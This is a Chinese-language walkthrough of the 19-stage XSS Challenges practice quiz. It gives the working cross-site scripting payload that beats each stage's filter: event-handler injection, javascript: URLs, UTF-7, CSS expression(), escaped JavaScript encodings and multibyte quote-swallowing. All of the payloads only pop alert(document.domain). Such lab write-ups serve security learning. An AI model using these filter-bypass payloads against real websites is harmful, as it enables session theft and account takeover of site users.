開門見山
Stage #1
http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9
這一道題發現我們寫入的內容直接沒有任何過濾,嵌套在一個<b>標簽里面,我們常規閉合標簽新建標簽即可。
<b><script>alert(document.domain)</script></b>
Stage #2
http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1
這一題的注入點是在一個input標簽的value屬性那里,我們前后閉合input標簽然后在中間加上script就好了。
"><script>alert(document.domain)</script><"
Stage #3
http://xss-quiz.int21h.jp/stage-3.php?sid=9b217ccdc6e28f1a018d6df366553a6152bc65f5
嘗試輸入查看源碼發現<>和”被轉義了,於是抓包在country的位置插入xss
p1=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22&p2=<script>alert(document.domain)</script>
Forward發包到原網頁,
Stage #4
http://xss-quiz.int21h.jp/stage_4.php?sid=293c09bc53b81045a43ac5a79ac535daacbeae87
這里依然是先抓包,發現有個hackme....
需要閉合前后的雙引號
構造響應的參數,直接提交,發現直接就過了。
Stage #5
http://xss-quiz.int21h.jp/stage--5.php?sid=40b33710efa4a848d21b5a6dd47671e82c31d853
與Stage#2幾乎一樣,也是value參數,唯一的不同點是在前端限制了輸入的長度,我們直接用bp抓包提交就好了。
需要構造一下,把前后的雙引號匹配一下
Stage #6
http://xss-quiz.int21h.jp/stage-no6.php?sid=4149b9ce4901a7795800c04b44a11e2e62bbdbc6
發現應該是對>標簽進行了過濾,並且根據提示event handler attributes(事件處理程序屬性 ),提示我們要用事件屬性來處理了,下面構造
" onmouseover="alert(document.domain)
Stage #7
http://xss-quiz.int21h.jp/stage07.php?sid=6fbeba7fd57ce51cf3bb463c8cae1da350722b2e
發現將"也過濾掉了
那就需要對"進行繞過了,我們可以采用空格分割屬性,不使用",從而繞過"。
test onmouseover=alert(document.domain)
Stage #8
http://xss-quiz.int21h.jp/stage008.php?sid=b3d0fe99bca156329272fa022f49c556e0a30d80
本關就是考查 javascript:偽協議在a標簽的使用了
PAYLAOD:
javascript:alert(document.domain)
Stage #9
http://xss-quiz.int21h.jp/stage_09.php?sid=bfc62e9b3c0b7b72200bb942d69fb5e3076e6098
大佬WP:
1. 用可以識別UTF-7的IE瀏覽器
2. 把抓包內容改成p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
意思是我們提交UTF-7編碼的py上去,然后瀏覽器UTF-7解碼出利用py~~(我覺得出題者簡直閑的蛋疼,不說現在沒有利用utf-7的ie了,哪有什么網頁的后台是只能解碼utf-7的)
Stage #10
http://xss-quiz.int21h.jp/stage00010.php?sid=ebbdd5208bce92c3c26c5da4e79c3a0086f16d5e
通過提示查看應該是對domain進行了過濾
所以我們要想辦法繞過domain的過濾因此采用
"><script>alert(document.domdomainain)</script>
因為客戶端會自動過濾掉domain,這dom(domain)ain變為domain
也可以
" onmouseover="alert(document.domain)
Stage #11
http://xss-quiz.int21h.jp/stage11th.php?sid=2ea843cedd78f5b9dfd684cc00be42481f72449c
發現對關鍵字進行了不少過濾
所以只能想辦法不利用這些串繞過,嘗試構造
1. "><a href=javascri pt:alert(document.domain)>test</a> // tab制表符html十進制編碼
冒號也被過濾。
2. "><a href=javascri pt:alert(document.domain)>test</a> // 是html5的換行符,:是冒號
Stage #12
http://xss-quiz.int21h.jp/stage_no012.php?sid=b6b9666eca49506330251b9c3e9b0603081e7cae
發現也進行了過濾
把\x00-\x20的字符與及<,>,",'都替換為空,那也只能尋求繞過的方法了,經發現這個``符號會在ie8中解析為引號,所以利用它便可成功繞過,但只能在ie中
payload:
``onmousemove=alert(document.domain)
Stage #13
http://xss-quiz.int21h.jp/stage13_0.php?sid=9eb9941d92e5506584eb05f5f9ce3d39dfec842f
本關提示style attribute,也就是style的屬性問題。
發現雙引號被過濾了,那么就只能是style的payload了。
xss:expression(onmousemove=function(){alert(document.domain)})
(為什么這么寫,說CSS樣式的定義應該寫進函數里,不然會報錯)
background-color:#f00;background:url("javascript:alert(document.domain);"); 這種方式沒有成功
xss:expr/XSS/ession(alert(document.domain));
background-color:#f00;background:url("javascript:alert(document.domain);");
這兩種應該只能在ie下,然而我並未成功,可能ie版本過高
Stage #14
http://xss-quiz.int21h.jp/stage-_-14.php?sid=0ccb3bac891178e3bd1966b5624529302f5efcf0
aa:expression(οnmοuseοver=function(){alert(document.domain)})
有4種能繞過正則過濾:
(1)e -> \0065
aa:\0065xpression(οnmοuseοver=function(){alert(document.domain)}) ERROR
(2)加入\隔斷
aa:e\xpression(οnmοuseοver=function(){alert(document.domain)}) ERROR
(3)加入\0隔斷
aa:e\0xpression(οnmοuseοver=function(){alert(document.domain)}) OK
(4)加入\**\隔斷
aa:e\**\xpression(οnmοuseοver=function(){alert(document.domain)}) ERROR
補充,有一天看到了別人的答案,嚇了一跳。。
xss:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));
莫非第四點錯了?
改成
(4)加入/**/斷
aa:e/**/xpression(οnmοuseοver=function(){alert(document.domain)}) OK
Stage #15
http://xss-quiz.int21h.jp/stage__15.php?sid=f530a129f54ea7c80420c9c8cd5ea68f3ea139c6
這一關考的是dom xss
這個是document.write()
實驗可知道這個會過濾掉<>
由於ducument.write寫的時候,
script自解碼機制
HTML:進制編碼:&#xH;(十六進制格式)、&#D;(十進制格式),最后的分號(;)可以不要。
HTML實體編碼:即上面的那個HtmlEncode。<> <,>
onclick里的這段JavaScript出現在HTML標簽內,意味着這里的JavaScript可以進行HTML形式的編碼
如果用戶輸入出現在<script>里的JavaScript中用戶輸入的這段內容上下文環境是JavaScript,不是HTML(可以認為<script>標簽里的內容和HTML環境毫無關系),此時用戶輸入的這段內容要遵守的是JavaScript法則,即JavaScript編碼,具體有如下幾種形式。
Unicode形式:\uH(十六進制)。
普通十六進制:\xH。
純轉義:'、"、<、>這樣在特殊字符之前加\進行轉義。
在JavaScript執行之前,這樣的編碼會自動解碼
既然這個地方會過濾掉<>,就可以先按照JS編碼
源碼:<script>alert(document.domain)</script>
因為是在js范疇,document.write在輸出的時候會JavascriptDecode一下數據,
16進制編碼:
< 變成了 \x3c
> 變成了 \x3e
會把數據原有\去除,即php里面的stripslashes
所以我們最終的payload應該是這樣的。
\x3cscript\x3ealert(document.domain)\x3c/script\x3e
過濾了單個\
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e OK
Stage #16
http://xss-quiz.int21h.jp/stage00000016.php?sid=4ba92c2b20cd3b70e153bf21a63f21391fe8d589
提示內容;把\x 替換成了\\x,就是過濾掉了\x,但是js編碼又不止16進制,還有八進制,unicode編碼
用unicode編碼嘗試
\u003cscript\u003ealert(document.domain);\u003c/script\u003e
過濾了單反斜杠\
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
用八進制編碼,同樣可以
\74img src=x onerror=alert(document.domain)\76
這是別人總結的能引起Dom XSS的入口函數:
document.write()
document.writeln()
document.body.innerHtml
eval()
window.execScript()
window.setInterval()
window.setTimeout()
Stage #17
http://xss-quiz.int21h.jp/stage-No17.php?sid=ba90ec457c25fad90c2715a86fe3a07be846dc7f
思路類似於寬字節注入,利用特殊字節吃掉雙引號
半角片假名使用兩個字節來表示。
“第一位字節”使用0x8E
“第二位字節”使用0xA1-0xDF
JIS X 0208字元使用兩個字節來表示。
“第一位字節”使用0xA1-0xFE
“第二位字節”使用0xA1-0xFE
JIS X 0212字元使用三個字節來表示。
“第一位字節”使用0x8F
“第二位字節”使用0xA1-0xFE
“第三位字節”使用0xA1-0xFE
目的是吃掉上面和下面一個雙引號,然后使他們閉合,抓包修改p1,p2
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
%A7,是隨意的,只要是符合上面說的第一個字節范圍即可。。
但是版本問題,沒法顯示。。
上面的%A7,是要抓包,修改的,而不是在請求的時候修改,記得把length修改對。
上面的%A7,是隨意的,只要是符合上面說的第一個字節范圍即可。。
Stage #18
http://xss-quiz.int21h.jp/stage__No18.php?sid=b23d6719a639f5655a2966a2f5ade6ec86841851
將每個字符的二進制最高位置為1,然后再轉為16進制
比如說:
< 的16進制是3C,2進制是0011 1011,最高位置為1之后,變成1011 1011 ,也就是BC
> 同理變成BE
“ 同理變成A2
所以:
"><script>alert(document.domain)</scirpt>
就變成:
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
Ps:這里我的高版本IE又一次失敗了,應該要低版本的IE6
Stage #19
沒有任何輸入點,抓包沒發現任何東西....hint 2014年九月24在推特上的DOMXSS?
最后界面
http://xss-quiz.int21h.jp/ranking.php?sid=a72fb1890dfd3eb2bdea19aaf7c520baea8fd4dc
XSS Challenges 完